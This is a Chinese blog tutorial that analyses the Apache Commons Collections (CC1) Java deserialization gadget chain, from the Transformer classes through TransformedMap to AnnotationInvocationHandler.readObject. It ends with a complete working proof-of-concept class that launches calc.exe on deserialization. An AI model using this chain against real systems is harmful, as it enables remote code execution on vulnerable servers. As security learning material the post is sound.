Java反序列化之CC链解析

文章详细介绍了Java中的序列化和反序列化概念,以及如何利用反序列化漏洞执行命令。重点讲解了ApacheCommonsCollections库中的Transform链,包括ConstantTransformer、InvokerTransformer和ChainedTransformer的使用,以及如何构建和利用这些类来执行系统命令。最后,文章展示了如何通过AnnotationInvocationHandler的readObject方法触发反序列化过程,从而执行自定义的命令链。
摘要由CSDN通过智能技术生成

概述

序列化与反序列化:

  • 序列化是指将对象的状态信息转换为可以存储或传输的形式的过程,在java中的表现形式常为java对象转化为字节流的过程称为java序列化
  • 反序列化是指存储或传输的数据转化为对象状态信息即序列化的相反过程,在java中的表现形式常为序列化的字节流被java程序解析还原为java对象的过程。

java类序列化所需条件

  • 该类必须实现java.io.Serlalizable接口
  • 该类的所有属性必须是可序列化的,如果有不可序列化的属性必须注明是短暂的

反序列化漏洞成因

  • java对象在数据传输的过程中,服务端会对传输过来的序列化java对象数据进行反序列化,此时服务端的反序列化的readObject方法将被调用,若是服务端对readObject进行了重写,将可能导致序列化数据流中一些危险操作被执行。

java反序列化的cc链介绍

  • java反序列的cc链常指为apache commons-collections组件下的反序列化漏洞。这个组件主要封装了一些java的collection(集合)相关类。组件内的transform接口及实现该接口的ConstantTransformer、InvokerTransformer、ChainedTransformer三个类可组合调用Runtime.exec方法进行命令执行。

原理解析

Transfrom链

cc链有很多应用和内容,在这里我主要解析的是关于cc链的Transform链,这是cc链多种应用的基础,也是其核心部分。

在java中想要执行命令我们常用的方法就是使用Runtime类来实现,但是Runtime类并未实现Serializable接口,这导致反序列化是无法直接调用Runtime去执行命令的,这时我们就需要用到java反射的知识,我可以通过反射的方式调用Runtime类执行,该方式调用时涉及的类都是实现了Serializable接口的,这也就满足了我们想要通过反序列化执行命令的需求:

((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");

而在cc链中想实现执行系统命令就需要使用Transform链调用Runtime反射来执行系统命令,以下是一个典型的Transform链:

public static void main(String[] args) throws Exception{
    //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };

    //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
    ChainedTransformer transformerChain = new ChainedTransformer(transformers);
    transformerChain.transform(1);
}

可以通过上面的代码执行一个弹出计算器的系统命令。为了理解上面这段代码,需要了解transform接口及它的三个实现类:ConstantTransformer、InvokerTransformer、ChainedTransformer。

transform接口

transform接口主要包含了一个transform方法,让实现了该接口的类可以进行固定类型转换:


public interface Transformer {
    Object transform(Object var1);
}

ConstantTransformer类

该类的transform方法:接收一个对象返回一个常量,无论接收什么对象都返回iConstant


public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

InvokerTransformer类

该类的transform方法:接收一个对象,通过Java的反射机制对该对象的指定方法进行调用,其中对象、方法名和参数数组都是可控的;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
}

ChainedTransformer类

该类的transformer方法:当传入一个数组时,开始循环读取,对每个数组内的元素调用其transform方法并把前一个对象的transform方法放回值作为下一个对象的参数值调用:

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

经过以上三个类的分析,对于Transfrom链的payload语句的解析如下:

public static void main(String[] args) throws Exception{
    //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };

    //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
    ChainedTransformer transformerChain = new ChainedTransformer(transformers);
    transformerChain.transform(1);
}
  • 构造一个transformers的数组,数组中传入ConstantTransformer类对象和InvokerTransformer类对象。
  • 创建一个ChainedTransformer类接收transformers的数组并执行transform方法对transformers的数组进行链式调用
  • ConstantTransformer类执行transform方法返回一个Runtime对象
  • InvokerTransformer类执行tansform方法返回runtime类反射执行命令中需要使用到的方法对象:getMethod、invoke和exec。
  • 整个transformer链就通过ChainedTransformer类的transform方法对ConstantTransformer类和InvokerTransformer类对象的tranform方法进行链式调用,完成Runtime反射的命令执行。

CC链的利用

上面解释了Tranform链的执行与解析,并手动构造代码执行命令,但是cc链应该如何在实际中去利用呢,ChainedTransformer类的tranform方法又如何在服务端被调用呢?反序列化数据的解析是需要通过readObject方法进行反序列化的,我们寻找上层的调用,找到使用readObject的入口点。以下是寻找利用点时涉及到的需要使用的类及方法

TransformedMap类

在TransformedMap类的checkSetValue方法调用了transform 方法:

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

但其构造函数TransformedMap方法是一个protected类型:

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

valueTransformer的值无法通过创建对象时直接赋值,这时向上寻找,找到了decorate方法,该方法可以直接返回一个自定义的TransformedMap类:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

在这个类中我们就可以使用TransformedMap类的decorate方法为valueTransformer属性赋值为我们构造好的ChainedTransformer对象,随后执行checkSetValue方法实现该对象的transform方法调用执行命令。随之而来的问题是checkSetValue方法在哪里调用呢?

AbstractInputCheckedMapDecorator类

AbstractInputCheckedMapDecorator类的内部类MapEntry中setValue调用了checkSetValue方法:

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return super.entry.setValue(value);
    }
}

同时TransformedMap类是AbstractInputCheckedMapDecorator类的子类,再寻找AbstractInputCheckedMapDecorator的父类AbstractMapEntryDecorator实现了Map.Entry接口,故可以通过以下的调用链TransformedMap类继承于AbstractInputCheckedMapDecorator.MapEntry类继承于AbstractMapEntryDecorator类实现了Map.Entry接口,通过Map来使代码执行。

public abstract class AbstractMapDecorator implements Map 

随后我们再追踪下哪里调用了setValue方法。

AnnotationInvocationHandler类

AnnotationInvocationHandler类中的readObject方法调用了setValue方法,这里我们找到了setValue的调用也找到了readObject方法,这正是我们想要的:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

再根据该类的构造函数中的map也就是memberValues值是我们可控的:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

故我们可以通过AnnotationInvocationHandler类来接收一个构造好的map来调用到transfrom链执行命令。

Payload

package com.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CcAnalysis implements Serializable {

    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformerChain = new ChainedTransformer(transformers);

        //Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        Map map = new HashMap();
        map.put("value", "test");

        //Map数据结构,转换后的Map
        /*
        TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        //反射机制调用AnnotationInvocationHandler类的构造函数
        //forName 获得类名对应的Class对象
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射调用私有的的结构:私有方法、属性、构造器
        //指定构造器

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制,保证构造器可访问
        ctor.setAccessible(true);

        //获取AnnotationInvocationHandler类实例
        //调用此构造器运行时类的对象
        Object instance=ctor.newInstance(Target.class, transformedMap);

        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.close();

        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

前面构造一个完整的transform链存储在transformerChain对象中,随后通过TransformedMap的decorate方法装载transformerChain并通过AnnotationInvocationHandler按照readobject-->setvalue-->checkSetValue-->transform调用栈调用transform方法,让其在反序列化AnnotationInvocationHandler的对象时执行命令。

cc链类封装流程:

  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer
  • TransformedMap
  • AbstractInputCheckedMapDecorator
  • AnnotationInvocationHandler

总结

命令执行的核心是transform链对Runtime类的反射调用。随后寻找执行readObject的方法点来反序列化解析调用transform封装链的transform方法进行命令执行。

声明

一篇萌新学习代码审计cc链的学习理解文章 上面有什么不对的欢迎各位指正

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值